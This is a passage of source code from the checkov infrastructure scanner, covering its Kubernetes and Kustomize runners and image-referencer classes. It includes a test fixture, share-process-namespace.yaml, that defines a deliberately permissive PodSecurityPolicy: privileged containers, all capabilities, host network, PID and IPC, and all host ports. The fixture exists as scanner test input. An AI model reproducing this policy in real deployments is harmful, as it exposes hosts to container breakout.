'name': is_section_valid, reason = K8sValidator._is_name_valid(template[segment]) if not is_section_valid: return is_section_valid, reason return True, '' @staticmethod def _is_name_valid(name: Any) -> Tuple[bool, str]: if not isinstance(name, str) or len(name) > 253: return False, f'name {name} is invalid' if K8sValidator.name_disallowed_chars.search(name): return False, f'name {name} is invalid' return True, '' ================================================ FILE: checkov/kubernetes/runner.py ================================================ from __future__ import annotations import logging import os from typing import Type, Any, TYPE_CHECKING from typing_extensions import TypeAlias # noqa[TC002] from checkov.common.checks_infra.registry import get_graph_checks_registry from checkov.common.graph.checks_infra.registry import BaseRegistry from checkov.common.typing import LibraryGraphConnector from checkov.common.graph.graph_builder import CustomAttributes from checkov.common.graph.graph_builder.consts import GraphSource from checkov.common.images.image_referencer import ImageReferencerMixin from checkov.common.output.extra_resource import ExtraResource from checkov.common.output.record import Record from checkov.common.output.report import Report, merge_reports from checkov.common.bridgecrew.check_type import CheckType from checkov.common.runners.base_runner import BaseRunner from checkov.common.util.data_structures_utils import pickle_deepcopy from checkov.kubernetes.checks.resource.registry import registry from checkov.kubernetes.graph_builder.local_graph import KubernetesLocalGraph from checkov.kubernetes.graph_manager import KubernetesGraphManager from checkov.kubernetes.image_referencer.manager import KubernetesImageReferencerManager from checkov.kubernetes.kubernetes_utils import ( create_definitions, build_definitions_context, get_skipped_checks, get_resource_id, K8_POSSIBLE_ENDINGS, PARENT_RESOURCE_ID_KEY_NAME, create_check_result, ) from checkov.runner_filter import RunnerFilter if TYPE_CHECKING: from networkx import DiGraph from types import FrameType from checkov.common.checks.base_check import BaseCheck from checkov.common.graph.checks_infra.base_check import BaseGraphCheck from checkov.common.images.image_referencer import Image from checkov.common.typing import _CheckResult, _EntityContext _KubernetesContext: TypeAlias = "dict[str, dict[str, Any]]" _KubernetesDefinitions: TypeAlias = "dict[str, list[dict[str, Any]]]" class TimeoutError(Exception): pass def handle_timeout(signum: int, frame: FrameType | None) -> Any: raise TimeoutError('command got timeout') class Runner(ImageReferencerMixin[None], BaseRunner[_KubernetesDefinitions, _KubernetesContext, KubernetesGraphManager]): check_type = CheckType.KUBERNETES # noqa: CCE003 # a static attribute def __init__( self, graph_class: Type[KubernetesLocalGraph] = KubernetesLocalGraph, db_connector: LibraryGraphConnector | None = None, source: str = GraphSource.KUBERNETES, graph_manager: KubernetesGraphManager | None = None, external_registries: list[BaseRegistry] | None = None, report_type: str = check_type ) -> None: super().__init__(file_extensions=K8_POSSIBLE_ENDINGS) db_connector = db_connector or self.db_connector self.external_registries = [] if external_registries is None else external_registries self.graph_class = graph_class self.graph_manager = \ graph_manager if graph_manager else KubernetesGraphManager(source=source, db_connector=db_connector) self.graph_registry = get_graph_checks_registry(Runner.check_type) self.definitions: _KubernetesDefinitions = {} self.definitions_raw: "dict[str, list[tuple[int, str]]]" = {} self.context: _KubernetesContext | None = None self.report_mutator_data: "dict[str, dict[str, Any]]" = {} self.report_type = report_type def run( self, root_folder: str | None, external_checks_dir: list[str] | None = None, files: list[str] | None = None, runner_filter: RunnerFilter | None = None, collect_skip_comments: bool = True, ) -> Report | list[Report]: runner_filter = runner_filter or RunnerFilter() if not runner_filter.show_progress_bar: self.pbar.turn_off_progress_bar() report = Report(self.check_type) if self.context is None or self.definitions is None: if files or root_folder: self.definitions, self.definitions_raw = create_definitions(root_folder, files, runner_filter) else: return report if external_checks_dir: for directory in external_checks_dir: registry.load_external_checks(directory) if self.graph_registry: self.graph_registry.load_external_checks(directory) self.context = build_definitions_context(self.definitions, self.definitions_raw) self.spread_list_items() if self.graph_manager: logging.info("creating Kubernetes graph") local_graph = self.graph_manager.build_graph_from_definitions(pickle_deepcopy(self.definitions)) logging.info("Successfully created Kubernetes graph") for vertex in local_graph.vertices: file_abs_path = _get_entity_abs_path(root_folder, vertex.path) report.add_resource(f'{file_abs_path}:{vertex.id}') self.graph_manager.save_graph(local_graph) self.pbar.initiate(len(self.definitions)) report = self.check_definitions(root_folder, runner_filter, report, collect_skip_comments=collect_skip_comments) if self.graph_manager: graph_report = self.get_graph_checks_report(root_folder, runner_filter) merge_reports(report, graph_report) if runner_filter.run_image_referencer: if files: # 'root_folder' shouldn't be empty to remove the whole path later and only leave the shortened form root_folder = os.path.split(os.path.commonprefix(files))[0] image_report = self.get_image_report(root_folder, runner_filter) if image_report: # due too many tests failing only return a list, if there is an image report return [report, image_report] return report def get_image_report(self, root_folder: str | None, runner_filter: RunnerFilter) -> Report | None: if not self.graph_manager: return None return self.check_container_image_references( graph_connector=self.graph_manager.get_reader_endpoint(), root_path=root_folder, runner_filter=runner_filter, ) def spread_list_items(self) -> None: for _, file_conf in self.definitions.items(): for resource in file_conf[:]: if resource.get('kind') == "List": file_conf.extend(item for item in resource.get("items", []) if item) file_conf.remove(resource) def check_definitions( self, root_folder: str | None, runner_filter: RunnerFilter, report: Report, collect_skip_comments: bool = True ) -> Report: for k8_file in self.definitions.keys(): self.pbar.set_additional_data({'Current File Scanned': os.path.relpath(k8_file, root_folder)}) # There are a few cases here. If -f was used, there could be a leading / because it's an absolute path, # or there will be no leading slash; root_folder will always be none. # If -d is used, root_folder will be the value given, and -f will start with a / (hardcoded above). # The goal here is simply to get a valid path to the file (which sls_file does not always give). file_abs_path = _get_entity_abs_path(root_folder, k8_file) k8_file_path = f"/{os.path.relpath(file_abs_path, root_folder)}" # Run for each definition for entity_conf in self.definitions[k8_file]: entity_type = entity_conf.get("kind") # Skip Kustomization Templates. # Should be handled by Kusomize framework handler when it finds kustomization.yaml files. # TODO: FUTURE: Potentially call the framework if we find items here that aren't in a file called kustomization.yaml - validate this edge case. if entity_type == "Kustomization": continue skipped_checks = get_skipped_checks(entity_conf) results = registry.scan(k8_file, entity_conf, skipped_checks, runner_filter) # TODO? - Variable Eval Message! variable_evaluations: "dict[str, Any]" = {} report = self.mutate_kubernetes_results(results, report, k8_file, k8_file_path, file_abs_path, entity_conf, variable_evaluations, root_folder) self.pbar.update() self.pbar.close() return report def get_graph_checks_report(self, root_folder: str | None, runner_filter: RunnerFilter) -> Report: report = Report(self.check_type) checks_results = self.run_graph_checks_results(runner_filter, self.report_type) report = self.mutate_kubernetes_graph_results(root_folder, runner_filter, report, checks_results) return report def mutate_kubernetes_results( self, results: dict[BaseCheck, _CheckResult], report: Report, k8_file: str, k8_file_path: str, file_abs_path: str, entity_conf: dict[str, Any], variable_evaluations: dict[str, Any], root_folder: str | None = None ) -> Report: # Moves report generation logic out of run() method in Runner class. # Allows function overriding of a much smaller function than run() for other "child" frameworks such as Kustomize, Helm # Where Kubernetes CHECKS are needed, but the specific file references are to another framework for the user output (or a mix of both). if results: if not self.context: # this shouldn't happen logging.error("Context for Kubernetes runner was not set") return report for check, check_result in results.items(): resource_id = get_resource_id(entity_conf) if not resource_id: continue entity_context = self.context[k8_file][resource_id] record = Record( check_id=check.id, bc_check_id=check.bc_id, check_name=check.name, check_result=check_result, code_block=entity_context.get("code_lines"), file_path=k8_file_path, file_line_range=[entity_context.get("start_line"), entity_context.get("end_line")], resource=resource_id, evaluations=variable_evaluations, check_class=check.__class__.__module__, file_abs_path=file_abs_path, severity=check.severity, ) record.set_guideline(check.guideline) report.add_record(record=record) else: resource_id = get_resource_id(entity_conf) if not resource_id: return report # resources without checks, but not existing ones report.extra_resources.add( ExtraResource( file_abs_path=file_abs_path, file_path=k8_file_path, resource=resource_id, ) ) return report def mutate_kubernetes_graph_results( self, root_folder: str | None, runner_filter: RunnerFilter, report: Report, checks_results: dict[BaseGraphCheck, list[_CheckResult]], ) -> Report: # Moves report generation logic out of run() method in Runner class. # Allows function overriding of a much smaller function than run() for other "child" frameworks such as Kustomize, Helm # Where Kubernetes CHECKS are needed, but the specific file references are to another framework for the user output (or a mix of both). if not checks_results: return report for check, check_results in checks_results.items(): for check_result in check_results: entity = check_result["entity"] entity_file_path = entity[CustomAttributes.FILE_PATH] entity_file_abs_path = _get_entity_abs_path(root_folder, entity_file_path) entity_context = self.get_entity_context(entity=entity, entity_file_path=entity_file_path) clean_check_result = create_check_result( check_result=check_result, entity_context=entity_context, check_id=check.id ) record = Record( check_id=check.id, check_name=check.name, check_result=clean_check_result, code_block=entity_context.get("code_lines") or [], file_path=get_relative_file_path(entity_file_abs_path, root_folder), file_line_range=[entity_context.get("start_line") or 0, entity_context.get("end_line") or 0], resource=entity[CustomAttributes.ID], evaluations={}, check_class=check.__class__.__module__, file_abs_path=entity_file_abs_path, severity=check.severity ) record.set_guideline(check.guideline) report.add_record(record=record) return report def get_entity_context(self, entity: dict[str, Any], entity_file_path: str) -> _EntityContext: """Extract the context for the given entity Deal with nested pods within a deployment. May have K8S graph adjacencies, but will not be in the self.context map of objects. (Consider them 'virtual' objects created for the sake of graph lookups) """ entity_context: _EntityContext = {} if PARENT_RESOURCE_ID_KEY_NAME in entity: if entity[CustomAttributes.RESOURCE_TYPE] == "Pod": # self.context not being None is checked in the caller method entity_context = self.context[entity_file_path][entity[PARENT_RESOURCE_ID_KEY_NAME]] # type:ignore[index] else: logging.info( "Unsupported nested resource type for Kubernetes graph edges. " f"Type: {entity[CustomAttributes.RESOURCE_TYPE]} Parent: {entity[PARENT_RESOURCE_ID_KEY_NAME]}" ) else: entity_id = entity[CustomAttributes.ID] # self.context not being None is checked in the caller method entity_context = self.context[entity_file_path][entity_id] # type:ignore[index] return entity_context def extract_images( self, graph_connector: DiGraph | None = None, definitions: None = None, definitions_raw: dict[str, list[tuple[int, str]]] | None = None ) -> list[Image]: if not graph_connector: # should not happen return [] manager = KubernetesImageReferencerManager(graph_connector=graph_connector) images = manager.extract_images_from_resources() return images def get_relative_file_path(file_abs_path: str, root_folder: str | None) -> str: return f"/{os.path.relpath(file_abs_path, root_folder)}" def _get_entity_abs_path(root_folder: str | None, entity_file_path: str) -> str: if entity_file_path[0] == '/' and (root_folder and not entity_file_path.startswith(root_folder)): path_to_convert = (root_folder + entity_file_path) if root_folder else entity_file_path else: path_to_convert = (os.path.join(root_folder, entity_file_path)) if root_folder else entity_file_path return os.path.abspath(path_to_convert) ================================================ FILE: checkov/kubernetes/test/share-process-namespace.yaml ================================================ apiVersion: policy/v1beta1 kind: PodSecurityPolicy metadata: name: privileged annotations: seccomp.security.alpha.kubernetes.io/allowedProfileNames: '*' spec: privileged: true allowPrivilegeEscalation: true allowedCapabilities: - '*' volumes: - '*' hostNetwork: true hostPorts: - min: 0 max: 65535 hostIPC: true hostPID: true runAsUser: rule: 'RunAsAny' seLinux: rule: 'RunAsAny' supplementalGroups: rule: 'RunAsAny' fsGroup: rule: 'RunAsAny' ================================================ FILE: checkov/kustomize/__init__.py ================================================ ================================================ FILE: checkov/kustomize/image_referencer/__init__.py ================================================ ================================================ FILE: checkov/kustomize/image_referencer/base_provider.py ================================================ from __future__ import annotations from typing import Any, Mapping from checkov.common.typing import LibraryGraph from checkov.kubernetes.image_referencer.base_provider import BaseKubernetesProvider from checkov.common.images.graph.image_referencer_provider import _ExtractImagesCallableAlias from checkov.common.graph.graph_builder.graph_components.attribute_names import CustomAttributes class BaseKustomizeProvider(BaseKubernetesProvider): def __init__(self, graph_connector: LibraryGraph, supported_resource_types: dict[str, _ExtractImagesCallableAlias] | Mapping[str, _ExtractImagesCallableAlias], report_mutator_data: dict[str, dict[str, Any]]) -> None: super().__init__( graph_connector=graph_connector, supported_resource_types=supported_resource_types, ) self.report_mutator_data = report_mutator_data def _get_resource_path(self, resource: dict[str, Any]) -> str: k8s_path = resource.get(CustomAttributes.FILE_PATH, "") dir_path = self.report_mutator_data.get('kustomizeFileMappings', {}).get(k8s_path, "") file_metadata = self.report_mutator_data.get('kustomizeMetadata', {}).get(dir_path, {}) return str(file_metadata.get('filePath', "")) ================================================ FILE: checkov/kustomize/image_referencer/manager.py ================================================ from __future__ import annotations from typing import TYPE_CHECKING, Any from checkov.common.images.graph.image_referencer_manager import GraphImageReferencerManager from checkov.common.typing import LibraryGraph from checkov.kustomize.image_referencer.provider.kustomize import KustomizeProvider if TYPE_CHECKING: from checkov.common.images.image_referencer import Image class KustomizeImageReferencerManager(GraphImageReferencerManager): def __init__(self, graph_connector: LibraryGraph, report_mutator_data: dict[str, dict[str, Any]]): super().__init__(graph_connector) self.report_mutator_data = report_mutator_data def extract_images_from_resources(self) -> list[Image]: kustomize_provider = KustomizeProvider(graph_connector=self.graph_connector, report_mutator_data=self.report_mutator_data) images = kustomize_provider.extract_images_from_resources() return images ================================================ FILE: checkov/kustomize/image_referencer/provider/__init__.py ================================================ ================================================ FILE: checkov/kustomize/image_referencer/provider/kustomize.py ================================================ from __future__ import annotations from typing import Any, Dict from checkov.common.typing import LibraryGraph from checkov.kubernetes.image_referencer.provider.k8s import SUPPORTED_K8S_IMAGE_RESOURCE_TYPES from checkov.kustomize.image_referencer.base_provider import BaseKustomizeProvider class KustomizeProvider(BaseKustomizeProvider): def __init__(self, graph_connector: LibraryGraph, report_mutator_data: Dict[str, Dict[str, Any]]): super().__init__( graph_connector=graph_connector, supported_resource_types=SUPPORTED_K8S_IMAGE_RESOURCE_TYPES, report_mutator_data=report_mutator_data ) ================================================ FILE: checkov/kustomize/runner.py ================================================ from __future__ import annotations import io import logging import multiprocessing import os import pathlib import platform import shutil import subprocess # nosec import tempfile import yaml from typing import Optional, Dict, Any, TextIO, TYPE_CHECKING from checkov.common.parallelizer.parallel_runner import parallel_runner from checkov.common.graph.graph_builder import CustomAttributes from checkov.common.graph.graph_builder.consts import GraphSource from checkov.common.images.image_referencer import Image from checkov.common.output.record import Record from checkov.common.output.report import Report from checkov.common.bridgecrew.check_type import CheckType from checkov.common.runners.base_runner import BaseRunner, filter_ignored_paths from checkov.common.typing import _CheckResult, _EntityContext from checkov.common.util.consts import START_LINE, END_LINE from checkov.common.util.data_structures_utils import pickle_deepcopy from checkov.common.util.type_forcers import convert_str_to_bool from checkov.kubernetes.kubernetes_utils import create_check_result, get_resource_id, calculate_code_lines, \ PARENT_RESOURCE_ID_KEY_NAME from checkov.kubernetes.runner import Runner as K8sRunner, _get_entity_abs_path, _KubernetesContext, _KubernetesDefinitions from checkov.kustomize.image_referencer.manager import KustomizeImageReferencerManager from checkov.kustomize.utils import get_kustomize_version, get_kubectl_version from checkov.runner_filter import RunnerFilter from checkov.common.graph.checks_infra.registry import BaseRegistry from checkov.common.typing import LibraryGraphConnector from checkov.kubernetes.graph_builder.local_graph import KubernetesLocalGraph if TYPE_CHECKING: from checkov.common.checks.base_check import BaseCheck from checkov.common.graph.checks_infra.base_check import BaseGraphCheck from checkov.kubernetes.graph_manager import KubernetesGraphManager from networkx import DiGraph class K8sKustomizeRunner(K8sRunner): check_type = CheckType.KUSTOMIZE # noqa: CCE003 # a static attribute def __init__( self, graph_class: type[KubernetesLocalGraph] = KubernetesLocalGraph, db_connector: LibraryGraphConnector | None = None, source: str = GraphSource.KUBERNETES, graph_manager: KubernetesGraphManager | None = None, external_registries: list[BaseRegistry] | None = None ) -> None: super().__init__(graph_class, db_connector, source, graph_manager, external_registries, CheckType.KUSTOMIZE) self.report_mutator_data: "dict[str, dict[str, Any]]" = {} self.original_root_dir: str = '' self.pbar.turn_off_progress_bar() # Allows using kustomize commands to directly edit the user's kustomization.yaml configurations self.checkov_allow_kustomize_file_edits = convert_str_to_bool(os.getenv("CHECKOV_ALLOW_KUSTOMIZE_FILE_EDITS", False)) def set_external_data( self, definitions: _KubernetesDefinitions | None, context: dict[str, dict[str, Any]] | None, breadcrumbs: dict[str, dict[str, Any]] | None, report_mutator_data: dict[str, dict[str, Any]] | None = None, **kwargs: Any, ) -> None: super().set_external_data(definitions, context, breadcrumbs) self.report_mutator_data = report_mutator_data or {} def set_report_mutator_data(self, report_mutator_data: Optional[Dict[str, Dict[str, Any]]]) -> None: self.report_mutator_data = report_mutator_data or {} @staticmethod def get_kustomize_resource_id(realKustomizeEnvMetadata: dict[str, Any], resource_id: str) -> str: if 'overlay' in realKustomizeEnvMetadata["type"]: kustomizeResourceID = f'{realKustomizeEnvMetadata["type"]}:{str(realKustomizeEnvMetadata["overlay_name"])}:{resource_id}' else: kustomizeResourceID = f'{realKustomizeEnvMetadata["type"]}:{resource_id}' return kustomizeResourceID def mutate_kubernetes_results( self, results: dict[BaseCheck, _CheckResult], report: Report, k8_file: str, k8_file_path: str, file_abs_path: str, entity_conf: dict[str, Any], variable_evaluations: dict[str, Any], root_folder: str | None = None ) -> Report: # Moves report generation logic out of checkov.kubernetes.runner.run() def. # Allows us to overriding report file information for "child" frameworks such as Kustomize, Helm # Where Kubernetes CHECKS are needed, but the specific file references are to another framework for the user output (or a mix of both). if not self.context: # this shouldn't happen logging.error("context was not set correctly") return report kustomize_metadata = self.report_mutator_data['kustomizeMetadata'], kustomize_file_mappings = self.report_mutator_data['kustomizeFileMappings'] for check, check_result in results.items(): resource_id = get_resource_id(entity_conf) if not resource_id: logging.error(f"Couldn't get resource ID for {entity_conf}") continue entity_context = self.context[k8_file][resource_id] if file_abs_path not in kustomize_file_mappings: logging.warning(f"couldn't find {file_abs_path} path in kustomizeFileMappings") continue realKustomizeEnvMetadata = kustomize_metadata[0][kustomize_file_mappings[file_abs_path]] kustomizeResourceID = self.get_kustomize_resource_id(realKustomizeEnvMetadata, resource_id) external_run_indicator = "Bc" file_path = realKustomizeEnvMetadata['filePath'] caller_file_path = None caller_file_line_range = None # means this scan originated in the platform if type(self.graph_manager).__name__.startswith(external_run_indicator): absolute_file_path = file_abs_path else: absolute_file_path = realKustomizeEnvMetadata['filePath'] # Fix file path to repo relative path if self.original_root_dir: repo_dir = str(pathlib.Path(self.original_root_dir).resolve()) if realKustomizeEnvMetadata['filePath'].startswith(repo_dir): file_path = realKustomizeEnvMetadata['filePath'][len(repo_dir):] if self.checkov_allow_kustomize_file_edits: caller_resource_id = resource_id if PARENT_RESOURCE_ID_KEY_NAME in entity_conf: caller_resource_id = entity_conf[PARENT_RESOURCE_ID_KEY_NAME] caller_file_line_range, caller_file_path = self._get_caller_file_info(entity_context, k8_file, k8_file_path, resource_id, caller_resource_id, root_folder) code_lines = entity_context.get("code_lines") file_line_range = self.line_range(code_lines) record = Record( check_id=check.id, bc_check_id=check.bc_id, check_name=check.name, check_result=check_result, code_block=code_lines, file_path=file_path, file_line_range=file_line_range, caller_file_path=caller_file_path, caller_file_line_range=caller_file_line_range, resource=kustomizeResourceID, evaluations=variable_evaluations, check_class=check.__class__.__module__, file_abs_path=absolute_file_path, severity=check.severity) record.set_guideline(check.guideline) report.add_record(record=record) return report def _get_caller_file_info(self, entity_context: _EntityContext, k8_file: str, k8_file_path: str, resource_id: str, caller_resource_id: str, root_folder: str | None) -> tuple[tuple[int, int] | None, str | None]: origin_relative_path = entity_context.get('origin_relative_path') if origin_relative_path is None: return None, None k8s_file_dir = pathlib.Path(k8_file_path).parent raw_file_path = k8s_file_dir / origin_relative_path caller_file_path = self._get_caller_file_path(k8s_file_dir, origin_relative_path, raw_file_path) if root_folder is None: return None, caller_file_path caller_file_line_range = self._get_caller_line_range(root_folder, k8_file, origin_relative_path, resource_id, caller_resource_id) return caller_file_line_range, caller_file_path @staticmethod def _get_caller_file_path(k8s_file_dir: pathlib.Path, origin_relative_path: str, raw_file_path: pathlib.Path)\ -> str: """ Creates the correct file path based on the collection of metadata locations we have. Example for expected input: - k8s_fil_dir - Path('/resources/image_referencer/overlays/prod') - origin_relative_path - '../../base/deployment.yaml' - raw_file_path - Path('/resources/image_referencer/overlays/prod/../../base/deployment.yaml') """ amount_of_parents = str.count(origin_relative_path, '..') directory_prefix_path = k8s_file_dir if amount_of_parents == 0: # In case we don't have any relative paths, we need to remove the first directory parent # (as the first directory is the same one of the kustomization.yaml file) directory_prefix_path = k8s_file_dir.parent elif amount_of_parents and len(k8s_file_dir.parents) >= amount_of_parents: directory_prefix_path = k8s_file_dir.parents[amount_of_parents - 1] directory_prefix = str(directory_prefix_path) resolved_path = str(raw_file_path.resolve()) # Make sure the resolved path starts with the root folder, as pathlib.Path.resolve() might change it if directory_prefix in resolved_path and not resolved_path.startswith(directory_prefix): resolved_path = K8sKustomizeRunner._remove_extra_path_parts(resolved_path, directory_prefix) return resolved_path[len(str(directory_prefix)):] @staticmethod def _remove_extra_path_parts(resolved_path: str, prefix: str) -> str: """ Some pathlib paths can "add" extra arguments at the beginning after running `Path.resolve()`. For example, running `Path('/var/example.txt').resolve` might result in `//var/example.txt`. The purpose of this function is to remove any unintentional additions like this one. """ resolved_path_parts = resolved_path.split(prefix) if len(resolved_path_parts) > 1: resolved_path = f'{prefix}{"".join(resolved_path_parts[1:])}' else: resolved_path = f'{prefix}{"".join(resolved_path_parts)}' return resolved_path def _get_caller_line_range(self, root_folder: str, k8_file: str, origin_relative_path: str, resource_id: str, caller_resource_id: str) -> tuple[int, int] | None: raw_caller_directory = (pathlib.Path(k8_file.lstrip(os.path.sep)).parent / pathlib.Path(origin_relative_path.lstrip(os.path.sep)).parent) caller_directory = str(pathlib.Path(f'{os.path.sep}{raw_caller_directory}').resolve()) caller_directory = K8sKustomizeRunner._remove_extra_path_parts(caller_directory, root_folder) file_ending = pathlib.Path(origin_relative_path).suffix caller_file_path = f'{str(pathlib.Path(caller_directory) / caller_resource_id.replace(".", "-"))}{file_ending}' if caller_file_path not in self.definitions: return None caller_resource = None for resource in self.definitions[caller_file_path]: _resource_id = get_resource_id(resource) if _resource_id == resource_id: caller_resource = resource break if caller_resource is None: return None if caller_file_path not in self.definitions_raw: # As we cannot calculate better lines with the `calculate_code_lines` without the raw code, # we can use the existing info in the resource return caller_resource[START_LINE], caller_resource[END_LINE] raw_caller_resource = self.definitions_raw[caller_file_path] caller_raw_start_line = caller_resource[START_LINE] caller_raw_end_line = min(caller_resource[END_LINE], len(raw_caller_resource)) _, caller_start_line, caller_end_line = calculate_code_lines(raw_caller_resource, caller_raw_start_line, caller_raw_end_line) return caller_start_line, caller_end_line def line_range(self, code_lines: list[tuple[int, str]]) -> list[int]: num_of_lines = len(code_lines) file_line_range = [0, 0] if num_of_lines > 0: first_line, code = code_lines[0] last_line, code = code_lines[num_of_lines - 1] file_line_range = [first_line, last_line] return file_line_range def mutate_kubernetes_graph_results( self, root_folder: str | None, runner_filter: RunnerFilter, report: Report, checks_results: dict[BaseGraphCheck, list[_CheckResult]] ) -> Report: # Moves report generation logic out of run() method in Runner class. # Allows function overriding of a much smaller function than run() for other "child" frameworks such as Kustomize, Helm # Where Kubernetes CHECKS are needed, but the specific file references are to another framework for the user output (or a mix of both). if not self.context: if self.context is None: # this shouldn't happen logging.error("Context for Kustomize runner was not set") return report kustomize_metadata = self.report_mutator_data['kustomizeMetadata'], kustomize_file_mappings = self.report_mutator_data['kustomizeFileMappings'] for check, check_results in checks_results.items(): for check_result in check_results: entity = check_result["entity"] entity_file_path: str = entity[CustomAttributes.FILE_PATH] entity_file_abs_path: str = _get_entity_abs_path(root_folder, entity_file_path) entity_id: str = entity[CustomAttributes.ID] entity_context = super().get_entity_context(entity=entity, entity_file_path=entity_file_path) if entity_file_abs_path in kustomize_file_mappings: realKustomizeEnvMetadata = kustomize_metadata[0][kustomize_file_mappings[entity_file_abs_path]] if 'overlay' in realKustomizeEnvMetadata["type"]: kustomizeResourceID = f'{realKustomizeEnvMetadata["type"]}:{str(realKustomizeEnvMetadata["overlay_name"])}:{entity_id}' else: kustomizeResourceID = f'{realKustomizeEnvMetadata["type"]}:{entity_id}' else: logging.warning(f"couldn't find {entity_file_abs_path} path in kustomizeFileMappings") continue caller_file_path = None caller_file_line_range = None if self.checkov_allow_kustomize_file_edits: caller_resource_id = entity_id if PARENT_RESOURCE_ID_KEY_NAME in entity: caller_resource_id = entity[PARENT_RESOURCE_ID_KEY_NAME] caller_file_line_range, caller_file_path = self._get_caller_file_info(entity_context, entity_file_path, entity_file_path, entity_id, caller_resource_id, root_folder) code_lines = entity_context["code_lines"] file_line_range = self.line_range(code_lines) clean_check_result = create_check_result(check_result=check_result, entity_context=entity_context, check_id=check.id) record = Record( check_id=check.id, check_name=check.name, check_result=clean_check_result, code_block=code_lines, file_path=realKustomizeEnvMetadata['filePath'], file_line_range=file_line_range, caller_file_path=caller_file_path, caller_file_line_range=caller_file_line_range, resource=kustomizeResourceID, # entity.get(CustomAttributes.ID), evaluations={}, check_class=check.__class__.__module__, file_abs_path=entity_file_abs_path, severity=check.severity ) record.set_guideline(check.guideline) report.add_record(record=record) return report def get_image_report(self, root_folder: str | None, runner_filter: RunnerFilter) -> Report | None: if not self.graph_manager: return None return self.check_container_image_references( graph_connector=self.graph_manager.get_reader_endpoint(), root_path=self.original_root_dir, runner_filter=runner_filter, ) def extract_images( self, graph_connector: DiGraph | None = None, definitions: None = None, definitions_raw: dict[str, list[tuple[int, str]]] | None = None ) -> list[Image]: if not graph_connector: # should not happen return [] manager = KustomizeImageReferencerManager(graph_connector=graph_connector, report_mutator_data=self.report_mutator_data) images = manager.extract_images_from_resources() return images class Runner(BaseRunner[_KubernetesDefinitions, _KubernetesContext, "KubernetesGraphManager"]): kustomize_command = 'kustomize' # noqa: CCE003 # a static attribute kubectl_command = 'kubectl' # noqa: CCE003 # a static attribute check_type = CheckType.KUSTOMIZE # noqa: CCE003 # a static attribute system_deps = True # noqa: CCE003 # a static attribute kustomizeSupportedFileTypes = ('kustomization.yaml', 'kustomization.yml') # noqa: CCE003 # a static attribute def __init__(self) -> None: super().__init__(file_names=Runner.kustomizeSupportedFileTypes) self.potentialBases: "list[str]" = [] self.potentialOverlays: "list[str]" = [] self.kustomizeProcessedFolderAndMeta: "dict[str, dict[str, str]]" = {} self.kustomizeFileMappings: "dict[str, str]" = {} self.templateRendererCommand: str | None = None self.target_folder_path = '' self.checkov_allow_kustomize_file_edits = convert_str_to_bool(os.getenv("CHECKOV_ALLOW_KUSTOMIZE_FILE_EDITS", False)) def get_k8s_target_folder_path(self) -> str: return self.target_folder_path def get_kustomize_metadata(self) -> dict[str, dict[str, Any]]: return {'kustomizeMetadata': self.kustomizeProcessedFolderAndMeta, 'kustomizeFileMappings': self.kustomizeFileMappings} def _parseKustomization(self, kustomize_dir: str) -> dict[str, Any]: # We may have multiple results for "kustomization.yaml" files. These could be: # - Base and Environment (overlay) DIR's for the same kustomize-powered deployment # - OR, Multiple different Kustomize-powered deployments # - OR, a mixture of the two. # We need parse some of the Kustomization.yaml files to work out which # This is so we can provide "Environment" information back to the user as part of the checked resource name/description. # TODO: We could also add a --kustomize-environment option so we only scan certain overlay names (prod, test etc) useful in CI. yaml_path = os.path.join(kustomize_dir, "kustomization.yaml") yml_path = os.path.join(kustomize_dir, "kustomization.yml") if os.path.isfile(yml_path): kustomization_path = yml_path elif os.path.isfile(yaml_path): kustomization_path = yaml_path else: return {} with open(kustomization_path, 'r') as kustomization_file: metadata: dict[str, Any] = {} try: file_content = yaml.safe_load(kustomization_file) except yaml.YAMLError: logging.info(f"Failed to load Kustomize metadata from {kustomization_path}.", exc_info=True) return {} if not isinstance(file_content, dict): return {} if 'resources' in file_content and file_content['resources'] is not None: resources = file_content['resources'] # We can differentiate between "overlays" and "bases" based on if the `resources` refers to a directory, # which represents an "overlay", or only files which represents a "base" resources_representing_directories = [r for r in resources if pathlib.Path(r).suffix == ''] if resources_representing_directories: logging.debug( f"Kustomization contains resources: section with directories. Likely an overlay/env." f" {kustomization_path}") metadata['type'] = "overlay" metadata['referenced_bases'] = resources_representing_directories else: logging.debug(f"Kustomization contains resources: section with only files (no dirs). Likely a base." f" {kustomization_path}") metadata['type'] = "base" elif 'patchesStrategicMerge' in file_content: logging.debug(f"Kustomization contains patchesStrategicMerge: section. Likely an overlay/env. {kustomization_path}") metadata['type'] = "overlay" if 'bases' in file_content: metadata['referenced_bases'] = file_content['bases'] elif 'bases' in file_content: logging.debug(f"Kustomization contains bases: section. Likely an overlay/env. {kustomization_path}") metadata['type'] = "overlay" metadata['referenced_bases'] = file_content['bases'] metadata['fileContent'] = file_content metadata['filePath'] = f"{kustomization_path}" if metadata.get('type') == "base": self.potentialBases.append(metadata['filePath']) if metadata.get('type') == "overlay": self.potentialOverlays.append(metadata['filePath']) return metadata def check_system_deps(self) -> str | None: # Ensure local system dependencies are available and of the correct version. # Returns framework names to skip if deps **fail** (ie, return None for a successful deps check). logging.info(f"Checking necessary system dependencies for {self.check_type} checks.") if shutil.which(self.kubectl_command) is not None: kubectl_version = get_kubectl_version(kubectl_command=self.kubectl_command) if kubectl_version and kubectl_version >= 1.14: logging.info(f"Found working version of {self.check_type} dependency {self.kubectl_command}: {kubectl_version}") self.templateRendererCommand = self.kubectl_command return None else: return self.check_type elif shutil.which(self.kustomize_command) is not None: kustomize_version = get_kustomize_version(kustomize_command=self.kustomize_command) if kustomize_version: logging.info( f"Found working version of {self.check_type} dependency {self.kustomize_command}: {kustomize_version}" ) self.templateRendererCommand = self.kustomize_command return None else: return self.check_type else: logging.info(f"Could not find usable tools locally to process {self.check_type} checks. Framework will be disabled for this run.") return self.check_type def _handle_overlay_case(self, file_path: str, kustomizeProcessedFolderAndMeta: dict[str, dict[str, Any]] | None = None) -> None: if kustomizeProcessedFolderAndMeta is None: kustomizeProcessedFolderAndMeta = self.kustomizeProcessedFolderAndMeta for parent in pathlib.Path(file_path).parents: for potentialBase in self.potentialBases: pathlib_base_object = pathlib.Path(potentialBase) potential_base_path = pathlib_base_object.parents[1] if parent == potential_base_path.resolve(): kustomizeProcessedFolderAndMeta[file_path]['calculated_bases'] = str(pathlib_base_object.parent) try: relativeToFullPath = f"{file_path}/{kustomizeProcessedFolderAndMeta[file_path]['referenced_bases'][0]}" if pathlib.Path(kustomizeProcessedFolderAndMeta[file_path]['calculated_bases']) == pathlib.Path(relativeToFullPath).resolve(): kustomizeProcessedFolderAndMeta[file_path]['validated_base'] = 